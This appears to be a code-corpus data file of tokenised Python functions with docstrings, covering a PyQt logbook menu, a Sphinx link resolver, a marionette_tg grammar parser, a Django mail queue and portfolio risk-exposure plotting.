{"signature": "def setupUI(self):", "body": "labelSizePolicy = QSizePolicy(QSizePolicy.Fixed, QSizePolicy.Fixed)<EOL>labelSizePolicy.setHorizontalStretch(<NUM_LIT:0>)<EOL>labelSizePolicy.setVerticalStretch(<NUM_LIT:0>)<EOL>menuSizePolicy = QSizePolicy(QSizePolicy.Expanding, QSizePolicy.Fixed)<EOL>menuSizePolicy.setHorizontalStretch(<NUM_LIT:0>)<EOL>menuSizePolicy.setVerticalStretch(<NUM_LIT:0>)<EOL>logTypeLayout = QHBoxLayout()<EOL>logTypeLayout.setSpacing(<NUM_LIT:0>)<EOL>typeLabel = QLabel(\"<STR_LIT>\")<EOL>typeLabel.setMinimumSize(QSize(<NUM_LIT>, <NUM_LIT:0>))<EOL>typeLabel.setMaximumSize(QSize(<NUM_LIT>, <NUM_LIT>))<EOL>typeLabel.setSizePolicy(labelSizePolicy)<EOL>logTypeLayout.addWidget(typeLabel)<EOL>self.logType = QComboBox(self)<EOL>self.logType.setMinimumSize(QSize(<NUM_LIT:100>, <NUM_LIT:0>))<EOL>self.logType.setMaximumSize(QSize(<NUM_LIT>, <NUM_LIT>))<EOL>menuSizePolicy.setHeightForWidth(self.logType.sizePolicy().hasHeightForWidth())<EOL>self.logType.setSizePolicy(menuSizePolicy)<EOL>logTypeLayout.addWidget(self.logType)<EOL>logTypeLayout.setStretch(<NUM_LIT:1>, <NUM_LIT:6>)<EOL>programLayout = QHBoxLayout()<EOL>programLayout.setSpacing(<NUM_LIT:0>)<EOL>programLabel = QLabel(\"<STR_LIT>\")<EOL>programLabel.setMinimumSize(QSize(<NUM_LIT>, <NUM_LIT:0>))<EOL>programLabel.setMaximumSize(QSize(<NUM_LIT>, <NUM_LIT>))<EOL>programLabel.setSizePolicy(labelSizePolicy)<EOL>programLayout.addWidget(programLabel)<EOL>self.programName = QComboBox(self)<EOL>self.programName.setMinimumSize(QSize(<NUM_LIT:100>, <NUM_LIT:0>))<EOL>self.programName.setMaximumSize(QSize(<NUM_LIT>, <NUM_LIT>))<EOL>menuSizePolicy.setHeightForWidth(self.programName.sizePolicy().hasHeightForWidth())<EOL>self.programName.setSizePolicy(menuSizePolicy)<EOL>programLayout.addWidget(self.programName)<EOL>programLayout.setStretch(<NUM_LIT:1>, <NUM_LIT:6>)<EOL>if self.initialInstance:<EOL><INDENT>self.logButton = QPushButton(\"<STR_LIT:+>\", self)<EOL>self.logButton.setToolTip(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>self.logButton = QPushButton(\"<STR_LIT:->\")<EOL>self.logButton.setToolTip(\"<STR_LIT>\")<EOL><DEDENT>self.logButton.setMinimumSize(QSize(<NUM_LIT:16>, <NUM_LIT:16>))  <EOL>self.logButton.setMaximumSize(QSize(<NUM_LIT:16>, <NUM_LIT:16>))  <EOL>self.logButton.setObjectName(\"<STR_LIT>\")<EOL>self.logButton.setStyleSheet(\"<STR_LIT>\")<EOL>self._logSelectLayout = QHBoxLayout()<EOL>self._logSelectLayout.setSpacing(<NUM_LIT:6>)<EOL>self._logSelectLayout.addLayout(logTypeLayout)<EOL>self._logSelectLayout.addLayout(programLayout)<EOL>self._logSelectLayout.addWidget(self.logButton)<EOL>self._logSelectLayout.setStretch(<NUM_LIT:0>, <NUM_LIT:6>)<EOL>self._logSelectLayout.setStretch(<NUM_LIT:1>, <NUM_LIT:6>)<EOL>", "docstring": "Create graphical objects for menus.", "id": "f12131:c1:m1"}
{"signature": "def _connectSlots(self):", "body": "<EOL>QObject.connect(self.logType, SIGNAL(\"<STR_LIT>\"), self.changeLogType)<EOL>", "docstring": "Connect menu change signals.", "id": "f12131:c1:m2"}
{"signature": "def show(self):", "body": "self.parent.addLayout(self._logSelectLayout)<EOL>self.menuCount += <NUM_LIT:1><EOL>self._connectSlots()<EOL>", "docstring": "Display menus and connect even signals.", "id": "f12131:c1:m3"}
{"signature": "def addLogbooks(self, type=None, logs=[], default=\"<STR_LIT>\"):", "body": "if type is not None and len(logs) != <NUM_LIT:0>:<EOL><INDENT>if type in self.logList:<EOL><INDENT>for logbook in logs:<EOL><INDENT>if logbook not in self.logList.get(type)[<NUM_LIT:0>]:<EOL><INDENT>self.logList.get(type)[<NUM_LIT:0>].append(logbook)<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>self.logList[type] = []<EOL>self.logList[type].append(logs)<EOL><DEDENT>if len(self.logList[type]) > <NUM_LIT:1> and default != \"<STR_LIT>\":<EOL><INDENT>self.logList.get(type)[<NUM_LIT:1>] == default<EOL><DEDENT>else:<EOL><INDENT>self.logList.get(type).append(default)<EOL><DEDENT>self.logType.clear()<EOL>self.logType.addItems(list(self.logList.keys()))<EOL>self.changeLogType()<EOL><DEDENT>", "docstring": "Add or change list of logbooks.", "id": "f12131:c1:m6"}
{"signature": "def removeLogbooks(self, type=None, logs=[]):", "body": "if type is not None and type in self.logList:<EOL><INDENT>if len(logs) == <NUM_LIT:0> or logs == \"<STR_LIT>\":<EOL><INDENT>del self.logList[type]<EOL><DEDENT>else:<EOL><INDENT>for logbook in logs:<EOL><INDENT>if logbook in self.logList[type]:<EOL><INDENT>self.logList[type].remove(logbook)<EOL><DEDENT><DEDENT><DEDENT>self.changeLogType()<EOL><DEDENT>", "docstring": "Remove unwanted logbooks from list.", "id": "f12131:c1:m7"}
{"signature": "def changeLogType(self):", "body": "logType = self.selectedType()<EOL>programs = self.logList.get(logType)[<NUM_LIT:0>]<EOL>default = self.logList.get(logType)[<NUM_LIT:1>]<EOL>if logType in self.logList:<EOL><INDENT>self.programName.clear()<EOL>self.programName.addItems(programs)<EOL>self.programName.setCurrentIndex(programs.index(default))<EOL><DEDENT>", "docstring": "Populate log program list to correspond with log type selection.", "id": "f12131:c1:m8"}
{"signature": "def addMenu(self):", "body": "self.parent.multiLogLayout.addLayout(self.logSelectLayout)<EOL>self.getPrograms(logType, programName)<EOL>", "docstring": "Add menus to parent gui.", "id": "f12131:c1:m9"}
{"signature": "def removeLayout(self, layout):", "body": "for cnt in reversed(range(layout.count())):<EOL><INDENT>item = layout.takeAt(cnt)<EOL>widget = item.widget()<EOL>if widget is not None:<EOL><INDENT>widget.deleteLater()<EOL><DEDENT>else:<EOL><INDENT>'''<STR_LIT>'''<EOL>self.removeLayout(item.layout())<EOL><DEDENT><DEDENT>", "docstring": "Iteratively remove graphical objects from layout.", "id": "f12131:c1:m10"}
{"signature": "def removeMenu(self):", "body": "self.removeLayout(self._logSelectLayout)<EOL>self.deleteLater()<EOL>", "docstring": "Remove layout from parent gui and destroy object on completion.", "id": "f12131:c1:m11"}
{"signature": "def linkcode_resolve(domain, info):", "body": "if domain != '<STR_LIT>':<EOL><INDENT>return None<EOL><DEDENT>modname = info['<STR_LIT>']<EOL>fullname = info['<STR_LIT>']<EOL>submod = sys.modules.get(modname)<EOL>if submod is None:<EOL><INDENT>return None<EOL><DEDENT>obj = submod<EOL>for part in fullname.split('<STR_LIT:.>'):<EOL><INDENT>try:<EOL><INDENT>obj = getattr(obj, part)<EOL><DEDENT>except:<EOL><INDENT>return None<EOL><DEDENT><DEDENT>try:<EOL><INDENT>fn = inspect.getsourcefile(obj)<EOL><DEDENT>except:<EOL><INDENT>fn = None<EOL><DEDENT>if not fn:<EOL><INDENT>return None<EOL><DEDENT>try:<EOL><INDENT>source, lineno = inspect.getsourcelines(obj)<EOL><DEDENT>except:<EOL><INDENT>lineno = None<EOL><DEDENT>if lineno:<EOL><INDENT>linespec = \"<STR_LIT>\" % (lineno, lineno + len(source) - <NUM_LIT:1>)<EOL><DEDENT>else:<EOL><INDENT>linespec = \"<STR_LIT>\"<EOL><DEDENT>fn = relpath(fn, start=dirname(scisalt.__file__))<EOL>if '<STR_LIT>' in scisalt.__version__:<EOL><INDENT>return \"<STR_LIT>\" % (<EOL>fn, linespec)<EOL><DEDENT>else:<EOL><INDENT>return \"<STR_LIT>\" % (<EOL>scisalt.__version__, fn, linespec)<EOL><DEDENT>", "docstring": "Determine the URL corresponding to Python object", "id": "f12137:m0"}
{"signature": "def t_CONNECTION_KWD(t):", "body": "return t<EOL>", "docstring": "r'connection", "id": "f12143:m0"}
{"signature": "def t_CLIENT_KWD(t):", "body": "return t<EOL>", "docstring": "r'client", "id": "f12143:m1"}
{"signature": "def t_SERVER_KWD(t):", "body": "return t<EOL>", "docstring": "r'server", "id": "f12143:m2"}
{"signature": "def t_START_KWD(t):", "body": "return t<EOL>", "docstring": "r'start", "id": "f12143:m3"}
{"signature": "def t_END_KWD(t):", "body": "return t<EOL>", "docstring": "r'end", "id": "f12143:m4"}
{"signature": "def t_ACTION_KWD(t):", "body": "return t<EOL>", "docstring": "r'action", "id": "f12143:m5"}
{"signature": "def t_NULL_KWD(t):", "body": "return t<EOL>", "docstring": "r'NULL", "id": "f12143:m6"}
{"signature": "def t_TRANSPORT_KWD(t):", "body": "return t<EOL>", "docstring": "r'(tcp|udp)", "id": "f12143:m7"}
{"signature": "def t_REGEX_MATCH_INCOMING_KWD(t):", "body": "return t<EOL>", "docstring": "r\"regex_match_incoming", "id": "f12143:m8"}
{"signature": "def t_IF_KWD(t):", "body": "return t<EOL>", "docstring": "r\"if", "id": "f12143:m9"}
{"signature": "def t_STRING(t):", "body": "return t<EOL>", "docstring": "r'(\"[^\"]*\")|(\\'[^\\']*\\')", "id": "f12143:m10"}
{"signature": "def t_FLOAT(t):", "body": "t.value = float(t.value)<EOL>return t<EOL>", "docstring": "r'([-]?(\\d+)(\\.\\d+)(e(\\+|-)?(\\d+))? | (\\d+)e(\\+|-)?(\\d+))([lL]|[fF])?", "id": "f12143:m11"}
{"signature": "def t_INTEGER(t):", "body": "t.value = int(t.value)<EOL>return t<EOL>", "docstring": "r'[-]?\\d+([uU]|[lL]|[uU][lL]|[lL][uU])?", "id": "f12143:m12"}
{"signature": "def t_KEY(t):", "body": "return t<EOL>", "docstring": "r'[a-zA-Z_][a-zA-Z0-9_#\\?]*", "id": "f12143:m13"}
{"signature": "def t_carriagereturn(t):", "body": "t.lexer.lineno += len(t.value)<EOL>", "docstring": "r'\\r+", "id": "f12143:m14"}
{"signature": "def p_start(p):", "body": "p[<NUM_LIT:0>] = p[<NUM_LIT:1>] + [p[<NUM_LIT:2>]]<EOL>", "docstring": "start : model action_blocks", "id": "f12143:m16"}
{"signature": "def p_model(p):", "body": "p[<NUM_LIT:0>] = p[<NUM_LIT:1>] + [p[<NUM_LIT:2>]]<EOL>", "docstring": "model : connection_banner transition_list", "id": "f12143:m17"}
{"signature": "def p_connection_banner(p):", "body": "p[<NUM_LIT:0>] = [p[<NUM_LIT:3>], p[<NUM_LIT:5>]]<EOL>", "docstring": "connection_banner : CONNECTION_KWD LPAREN TRANSPORT_KWD COMMA port RPAREN COLON", "id": "f12143:m18"}
{"signature": "def p_port(p):", "body": "p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL>", "docstring": "port : KEY\nport : p_integer_arg", "id": "f12143:m19"}
{"signature": "def p_transition_list(p):", "body": "p[<NUM_LIT:0>] = p[<NUM_LIT:1>] + [p[<NUM_LIT:2>]]<EOL>", "docstring": "transition_list : transition_list transition", "id": "f12143:m20"}
{"signature": "def p_transitions(p):", "body": "p[<NUM_LIT:0>] = [p[<NUM_LIT:1>]]<EOL>", "docstring": "transition_list : transition", "id": "f12143:m21"}
{"signature": "def p_transition(p):", "body": "p[<NUM_LIT:3>] = None if p[<NUM_LIT:3>] == '<STR_LIT>' else p[<NUM_LIT:3>]<EOL>if p[<NUM_LIT:4>] == '<STR_LIT:error>':<EOL><INDENT>p[<NUM_LIT:0>] = MarionetteTransition(p[<NUM_LIT:1>], p[<NUM_LIT:2>], p[<NUM_LIT:3>], <NUM_LIT:0>, True)<EOL><DEDENT>else:<EOL><INDENT>p[<NUM_LIT:0>] = MarionetteTransition(p[<NUM_LIT:1>], p[<NUM_LIT:2>], p[<NUM_LIT:3>], p[<NUM_LIT:4>], False)<EOL><DEDENT>", "docstring": "transition : START_KWD KEY NULL_KWD FLOAT\ntransition : KEY KEY NULL_KWD FLOAT\ntransition : KEY END_KWD NULL_KWD FLOAT\ntransition : START_KWD KEY KEY FLOAT\ntransition : KEY KEY KEY FLOAT\ntransition : KEY END_KWD KEY FLOAT\ntransition : START_KWD KEY NULL_KWD INTEGER\ntransition : KEY KEY NULL_KWD INTEGER\ntransition : KEY END_KWD NULL_KWD INTEGER\ntransition : START_KWD KEY KEY INTEGER\ntransition : KEY KEY KEY INTEGER\ntransition : KEY END_KWD KEY INTEGER\ntransition : START_KWD KEY NULL_KWD KEY\ntransition : KEY KEY NULL_KWD KEY\ntransition : KEY END_KWD NULL_KWD KEY\ntransition : START_KWD KEY KEY KEY\ntransition : KEY KEY KEY KEY\ntransition : KEY END_KWD KEY KEY", "id": "f12143:m22"}
{"signature": "def p_action_blocks(p):", "body": "if isinstance(p[<NUM_LIT:1>], list):<EOL><INDENT>if isinstance(p[<NUM_LIT:1>][<NUM_LIT:0>], list):<EOL><INDENT>p[<NUM_LIT:0>] = p[<NUM_LIT:1>][<NUM_LIT:0>] + [p[<NUM_LIT:2>]]<EOL><DEDENT>else:<EOL><INDENT>p[<NUM_LIT:0>] = p[<NUM_LIT:1>] + p[<NUM_LIT:2>]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>p[<NUM_LIT:0>] = [p[<NUM_LIT:1>], p[<NUM_LIT:2>]]<EOL><DEDENT>", "docstring": "action_blocks : action_blocks action_block", "id": "f12143:m23"}
{"signature": "def p_action_blocks2(p):", "body": "p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL>", "docstring": "action_blocks : action_block", "id": "f12143:m24"}
{"signature": "def p_action_block(p):", "body": "p[<NUM_LIT:0>] = []<EOL>for i in range(len(p[<NUM_LIT:4>])):<EOL><INDENT>p[<NUM_LIT:0>] += [marionette_tg.action.MarionetteAction(p[<NUM_LIT:2>], p[<NUM_LIT:4>][i][<NUM_LIT:0>],<EOL>p[<NUM_LIT:4>][i][<NUM_LIT:1>],<EOL>p[<NUM_LIT:4>][i][<NUM_LIT:2>],<EOL>p[<NUM_LIT:4>][i][<NUM_LIT:3>],<EOL>p[<NUM_LIT:4>][i][<NUM_LIT:4>])]<EOL><DEDENT>", "docstring": "action_block : ACTION_KWD KEY COLON actions", "id": "f12143:m25"}
{"signature": "def p_actions(p):", "body": "p[<NUM_LIT:0>] = p[<NUM_LIT:1>] + [p[<NUM_LIT:2>]]<EOL>", "docstring": "actions : actions action", "id": "f12143:m26"}
{"signature": "def p_actions2(p):", "body": "p[<NUM_LIT:0>] = [p[<NUM_LIT:1>]]<EOL>", "docstring": "actions : action", "id": "f12143:m27"}
{"signature": "def p_action(p):", "body": "if len(p)==<NUM_LIT:8>:<EOL><INDENT>p[<NUM_LIT:0>] = [p[<NUM_LIT:1>], p[<NUM_LIT:2>], p[<NUM_LIT:4>], p[<NUM_LIT:6>], None]<EOL><DEDENT>elif len(p)==<NUM_LIT>:<EOL><INDENT>p[<NUM_LIT:0>] = [p[<NUM_LIT:1>], p[<NUM_LIT:2>], p[<NUM_LIT:4>], p[<NUM_LIT:6>], p[<NUM_LIT:11>]]<EOL><DEDENT>", "docstring": "action : CLIENT_KWD KEY DOT KEY LPAREN args RPAREN\naction : SERVER_KWD KEY DOT KEY LPAREN args RPAREN\naction : CLIENT_KWD KEY DOT KEY LPAREN args RPAREN IF_KWD REGEX_MATCH_INCOMING_KWD LPAREN p_string_arg RPAREN\naction : SERVER_KWD KEY DOT KEY LPAREN args RPAREN IF_KWD REGEX_MATCH_INCOMING_KWD LPAREN p_string_arg RPAREN", "id": "f12143:m28"}
{"signature": "def p_args(p):", "body": "if len(p) == <NUM_LIT:4>:<EOL><INDENT>p[<NUM_LIT:0>] = p[<NUM_LIT:1>] + [p[<NUM_LIT:3>]]<EOL><DEDENT>else:<EOL><INDENT>p[<NUM_LIT:0>] = [p[<NUM_LIT:1>]]<EOL><DEDENT>", "docstring": "args : args COMMA arg\nargs : arg", "id": "f12143:m29"}
{"signature": "def p_arg(p):", "body": "p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL>", "docstring": "arg : p_string_arg\narg : p_integer_arg\narg : p_float_arg", "id": "f12143:m30"}
{"signature": "def p_string_arg(p):", "body": "p[<NUM_LIT:0>] = str(p[<NUM_LIT:1>][<NUM_LIT:1>:-<NUM_LIT:1>])<EOL>p[<NUM_LIT:0>] = p[<NUM_LIT:0>].decode(\"<STR_LIT>\")<EOL>", "docstring": "p_string_arg : STRING", "id": "f12143:m31"}
{"signature": "def p_integer_arg(p):", "body": "p[<NUM_LIT:0>] = int(p[<NUM_LIT:1>])<EOL>", "docstring": "p_integer_arg : INTEGER", "id": "f12143:m32"}
{"signature": "def p_float_arg(p):", "body": "p[<NUM_LIT:0>] = float(p[<NUM_LIT:1>])<EOL>", "docstring": "p_float_arg : FLOAT", "id": "f12143:m33"}
{"signature": "def long_to_bytes(N, blocksize=<NUM_LIT:1>):", "body": "bytestring = hex(N)<EOL>bytestring = bytestring[<NUM_LIT:2>:] if bytestring.startswith('<STR_LIT>') else bytestring<EOL>bytestring = bytestring[:-<NUM_LIT:1>] if bytestring.endswith('<STR_LIT:L>') else bytestring<EOL>bytestring = '<STR_LIT:0>' + bytestring if (len(bytestring) % <NUM_LIT:2>) != <NUM_LIT:0> else bytestring<EOL>bytestring = binascii.unhexlify(bytestring)<EOL>if blocksize > <NUM_LIT:0> and len(bytestring) % blocksize != <NUM_LIT:0>:<EOL><INDENT>bytestring = '<STR_LIT:\\x00>' *(blocksize - (len(bytestring) % blocksize)) + bytestring<EOL><DEDENT>return bytestring<EOL>", "docstring": "Given an input integer ``N``, ``long_to_bytes`` returns the representation of ``N`` in bytes.\n    If ``blocksize`` is greater than ``1`` then the output string will be right justified and then padded with zero-bytes,\n    such that the return values length is a multiple of ``blocksize``.", "id": "f12146:m1"}
{"signature": "def clear_sent_messages(self, offset=None):", "body": "if offset is None:<EOL><INDENT>offset = getattr(settings, '<STR_LIT>', defaults.MAILQUEUE_CLEAR_OFFSET)<EOL><DEDENT>if type(offset) is int:<EOL><INDENT>offset = datetime.timedelta(hours=offset)<EOL><DEDENT>delete_before = timezone.now() - offset<EOL>self.filter(sent=True, last_attempt__lte=delete_before).delete()<EOL>", "docstring": "Deletes sent MailerMessage records", "id": "f12195:c0:m1"}
{"signature": "def add_attachment(self, attachment):", "body": "if self.pk is None:<EOL><INDENT>self._save_without_sending()<EOL><DEDENT>original_filename = attachment.file.name.split(os.sep)[-<NUM_LIT:1>]<EOL>file_content = ContentFile(attachment.read())<EOL>new_attachment = Attachment()<EOL>new_attachment.file_attachment.save(original_filename, file_content, save=False)<EOL>new_attachment.email = self<EOL>new_attachment.original_filename = original_filename<EOL>try:<EOL><INDENT>new_attachment.save()<EOL><DEDENT>except Exception as e:<EOL><INDENT>logger.error(e)<EOL>new_attachment.file_attachment.delete()<EOL><DEDENT>", "docstring": "Takes a Django `File` object and creates an attachment for this mailer message.", "id": "f12195:c1:m1"}
{"signature": "def _save_without_sending(self, *args, **kwargs):", "body": "self.do_not_send = True<EOL>super(MailerMessage, self).save(*args, **kwargs)<EOL>", "docstring": "Saves the MailerMessage instance without sending the e-mail. This ensures\nother models (e.g. `Attachment`) have something to relate to in the database.", "id": "f12195:c1:m2"}
{"signature": "def send_mail(self):", "body": "if getattr(settings, '<STR_LIT>', defaults.MAILQUEUE_CELERY):<EOL><INDENT>from mailqueue.tasks import send_mail<EOL>send_mail.delay(self.pk)<EOL><DEDENT>else:<EOL><INDENT>self._send()<EOL><DEDENT>", "docstring": "Public api to send mail.  Makes the determinination\n         of using celery or not and then calls the appropriate methods.", "id": "f12195:c1:m3"}
{"signature": "def compute_style_factor_exposures(positions, risk_factor):", "body": "positions_wo_cash = positions.drop('<STR_LIT>', axis='<STR_LIT>')<EOL>gross_exposure = positions_wo_cash.abs().sum(axis='<STR_LIT>')<EOL>style_factor_exposure = positions_wo_cash.multiply(risk_factor).divide(gross_exposure, axis='<STR_LIT:index>')<EOL>tot_style_factor_exposure = style_factor_exposure.sum(axis='<STR_LIT>',<EOL>skipna=True)<EOL>return tot_style_factor_exposure<EOL>", "docstring": "Returns style factor exposure of an algorithm's positions\n\nParameters\n----------\npositions : pd.DataFrame\n    Daily equity positions of algorithm, in dollars.\n    - See full explanation in create_risk_tear_sheet\n\nrisk_factor : pd.DataFrame\n    Daily risk factor per asset.\n    - DataFrame with dates as index and equities as columns\n    - Example:\n                     Equity(24   Equity(62\n                       [AAPL])      [ABT])\n    2017-04-03\t  -0.51284     1.39173\n    2017-04-04\t  -0.73381     0.98149\n    2017-04-05\t  -0.90132     1.13981", "id": "f12198:m0"}
{"signature": "def plot_style_factor_exposures(tot_style_factor_exposure, factor_name=None,<EOL>ax=None):", "body": "if ax is None:<EOL><INDENT>ax = plt.gca()<EOL><DEDENT>if factor_name is None:<EOL><INDENT>factor_name = tot_style_factor_exposure.name<EOL><DEDENT>ax.plot(tot_style_factor_exposure.index, tot_style_factor_exposure,<EOL>label=factor_name)<EOL>avg = tot_style_factor_exposure.mean()<EOL>ax.axhline(avg, linestyle='<STR_LIT>', label='<STR_LIT>'.format(avg))<EOL>ax.axhline(<NUM_LIT:0>, color='<STR_LIT:k>', linestyle='<STR_LIT:->')<EOL>_, _, y1, y2 = plt.axis()<EOL>lim = max(abs(y1), abs(y2))<EOL>ax.set(title='<STR_LIT>'.format(factor_name),<EOL>ylabel='<STR_LIT>'.format(factor_name),<EOL>ylim=(-lim, lim))<EOL>ax.legend(frameon=True, framealpha=<NUM_LIT:0.5>)<EOL>return ax<EOL>", "docstring": "Plots DataFrame output of compute_style_factor_exposures as a line graph\n\nParameters\n----------\ntot_style_factor_exposure : pd.Series\n    Daily style factor exposures (output of compute_style_factor_exposures)\n    - Time series with decimal style factor exposures\n    - Example:\n        2017-04-24    0.037820\n        2017-04-25    0.016413\n        2017-04-26   -0.021472\n        2017-04-27   -0.024859\n\nfactor_name : string\n    Name of style factor, for use in graph title\n    - Defaults to tot_style_factor_exposure.name", "id": "f12198:m1"}
{"signature": "def compute_sector_exposures(positions, sectors, sector_dict=SECTORS):", "body": "sector_ids = sector_dict.keys()<EOL>long_exposures = []<EOL>short_exposures = []<EOL>gross_exposures = []<EOL>net_exposures = []<EOL>positions_wo_cash = positions.drop('<STR_LIT>', axis='<STR_LIT>')<EOL>long_exposure = positions_wo_cash[positions_wo_cash > <NUM_LIT:0>].sum(axis='<STR_LIT>')<EOL>short_exposure = positions_wo_cash[positions_wo_cash < <NUM_LIT:0>].abs().sum(axis='<STR_LIT>')<EOL>gross_exposure = positions_wo_cash.abs().sum(axis='<STR_LIT>')<EOL>for sector_id in sector_ids:<EOL><INDENT>in_sector = positions_wo_cash[sectors == sector_id]<EOL>long_sector = in_sector[in_sector > <NUM_LIT:0>].sum(axis='<STR_LIT>').divide(long_exposure)<EOL>short_sector = in_sector[in_sector < <NUM_LIT:0>].sum(axis='<STR_LIT>').divide(short_exposure)<EOL>gross_sector = in_sector.abs().sum(axis='<STR_LIT>').divide(gross_exposure)<EOL>net_sector = long_sector.subtract(short_sector)<EOL>long_exposures.append(long_sector)<EOL>short_exposures.append(short_sector)<EOL>gross_exposures.append(gross_sector)<EOL>net_exposures.append(net_sector)<EOL><DEDENT>return long_exposures, short_exposures, gross_exposures, net_exposures<EOL>", "docstring": "Returns arrays of long, short and gross sector exposures of an algorithm's\npositions\n\nParameters\n----------\npositions : pd.DataFrame\n    Daily equity positions of algorithm, in dollars.\n    - See full explanation in compute_style_factor_exposures.\n\nsectors : pd.DataFrame\n    Daily Morningstar sector code per asset\n    - See full explanation in create_risk_tear_sheet\n\nsector_dict : dict or OrderedDict\n    Dictionary of all sectors\n    - Keys are sector codes (e.g. ints or strings) and values are sector\n      names (which must be strings)\n    - Defaults to Morningstar sectors", "id": "f12198:m2"}
{"signature": "def plot_sector_exposures_longshort(long_exposures, short_exposures,<EOL>sector_dict=SECTORS, ax=None):", "body": "if ax is None:<EOL><INDENT>ax = plt.gca()<EOL><DEDENT>if sector_dict is None:<EOL><INDENT>sector_names = SECTORS.values()<EOL><DEDENT>else:<EOL><INDENT>sector_names = sector_dict.values()<EOL><DEDENT>color_list = plt.cm.gist_rainbow(np.linspace(<NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:11>))<EOL>ax.stackplot(long_exposures[<NUM_LIT:0>].index, long_exposures,<EOL>labels=sector_names, colors=color_list, alpha=<NUM_LIT>,<EOL>baseline='<STR_LIT>')<EOL>ax.stackplot(long_exposures[<NUM_LIT:0>].index, short_exposures,<EOL>colors=color_list, alpha=<NUM_LIT>, baseline='<STR_LIT>')<EOL>ax.axhline(<NUM_LIT:0>, color='<STR_LIT:k>', linestyle='<STR_LIT:->')<EOL>ax.set(title='<STR_LIT>',<EOL>ylabel='<STR_LIT>')<EOL>ax.legend(loc='<STR_LIT>', frameon=True, framealpha=<NUM_LIT:0.5>)<EOL>return ax<EOL>", "docstring": "Plots outputs of compute_sector_exposures as area charts\n\nParameters\n----------\nlong_exposures, short_exposures : arrays\n    Arrays of long and short sector exposures (output of\n    compute_sector_exposures).\n\nsector_dict : dict or OrderedDict\n    Dictionary of all sectors\n    - See full description in compute_sector_exposures", "id": "f12198:m3"}
{"signature": "def plot_sector_exposures_gross(gross_exposures, sector_dict=None, ax=None):", "body": "if ax is None:<EOL><INDENT>ax = plt.gca()<EOL><DEDENT>if sector_dict is None:<EOL><INDENT>sector_names = SECTORS.values()<EOL><DEDENT>else:<EOL><INDENT>sector_names = sector_dict.values()<EOL><DEDENT>color_list = plt.cm.gist_rainbow(np.linspace(<NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:11>))<EOL>ax.stackplot(gross_exposures[<NUM_LIT:0>].index, gross_exposures,<EOL>labels=sector_names, colors=color_list, alpha=<NUM_LIT>,<EOL>baseline='<STR_LIT>')<EOL>ax.axhline(<NUM_LIT:0>, color='<STR_LIT:k>', linestyle='<STR_LIT:->')<EOL>ax.set(title='<STR_LIT>',<EOL>ylabel='<STR_LIT>')<EOL>return ax<EOL>", "docstring": "Plots output of compute_sector_exposures as area charts\n\nParameters\n----------\ngross_exposures : arrays\n    Arrays of gross sector exposures (output of compute_sector_exposures).\n\nsector_dict : dict or OrderedDict\n    Dictionary of all sectors\n    - See full description in compute_sector_exposures", "id": "f12198:m4"}
{"signature": "def plot_sector_exposures_net(net_exposures, sector_dict=None, ax=None):", "body": "if ax is None:<EOL><INDENT>ax = plt.gca()<EOL><DEDENT>if sector_dict is None:<EOL><INDENT>sector_names = SECTORS.values()<EOL><DEDENT>else:<EOL><INDENT>sector_names = sector_dict.values()<EOL><DEDENT>color_list = plt.cm.gist_rainbow(np.linspace(<NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:11>))<EOL>for i in range(len(net_exposures)):<EOL><INDENT>ax.plot(net_exposures[i], color=color_list[i], alpha=<NUM_LIT>,<EOL>label=sector_names[i])<EOL><DEDENT>ax.set(title='<STR_LIT>',<EOL>ylabel='<STR_LIT>')<EOL>return ax<EOL>", "docstring": "Plots output of compute_sector_exposures as line graphs\n\nParameters\n----------\nnet_exposures : arrays\n    Arrays of net sector exposures (output of compute_sector_exposures).\n\nsector_dict : dict or OrderedDict\n    Dictionary of all sectors\n    - See full description in compute_sector_exposures", "id": "f12198:m5"}
{"signature": "def compute_cap_exposures(positions, caps):", "body": "long_exposures = []<EOL>short_exposures = []<EOL>gross_exposures = []<EOL>net_exposures = []<EOL>positions_wo_cash = positions.drop('<STR_LIT>', axis='<STR_LIT>')<EOL>tot_gross_exposure = positions_wo_cash.abs().sum(axis='<STR_LIT>')<EOL>tot_long_exposure = positions_wo_cash[positions_wo_cash > <NUM_LIT:0>].sum(axis='<STR_LIT>')<EOL>tot_short_exposure = positions_wo_cash[positions_wo_cash < <NUM_LIT:0>].abs().sum(axis='<STR_LIT>')<EOL>for bucket_name, boundaries in CAP_BUCKETS.items():<EOL><INDENT>in_bucket = positions_wo_cash[(caps >= boundaries[<NUM_LIT:0>]) &<EOL>(caps <= boundaries[<NUM_LIT:1>])]<EOL>gross_bucket = in_bucket.abs().sum(axis='<STR_LIT>').divide(tot_gross_exposure)<EOL>long_bucket = in_bucket[in_bucket > <NUM_LIT:0>].sum(axis='<STR_LIT>').divide(tot_long_exposure)<EOL>short_bucket = in_bucket[in_bucket < <NUM_LIT:0>].sum(axis='<STR_LIT>').divide(tot_short_exposure)<EOL>net_bucket = long_bucket.subtract(short_bucket)<EOL>gross_exposures.append(gross_bucket)<EOL>long_exposures.append(long_bucket)<EOL>short_exposures.append(short_bucket)<EOL>net_exposures.append(net_bucket)<EOL><DEDENT>return long_exposures, short_exposures, gross_exposures, net_exposures<EOL>", "docstring": "Returns arrays of long, short and gross market cap exposures of an\nalgorithm's positions\n\nParameters\n----------\npositions : pd.DataFrame\n    Daily equity positions of algorithm, in dollars.\n    - See full explanation in compute_style_factor_exposures.\n\ncaps : pd.DataFrame\n    Daily Morningstar sector code per asset\n    - See full explanation in create_risk_tear_sheet", "id": "f12198:m6"}
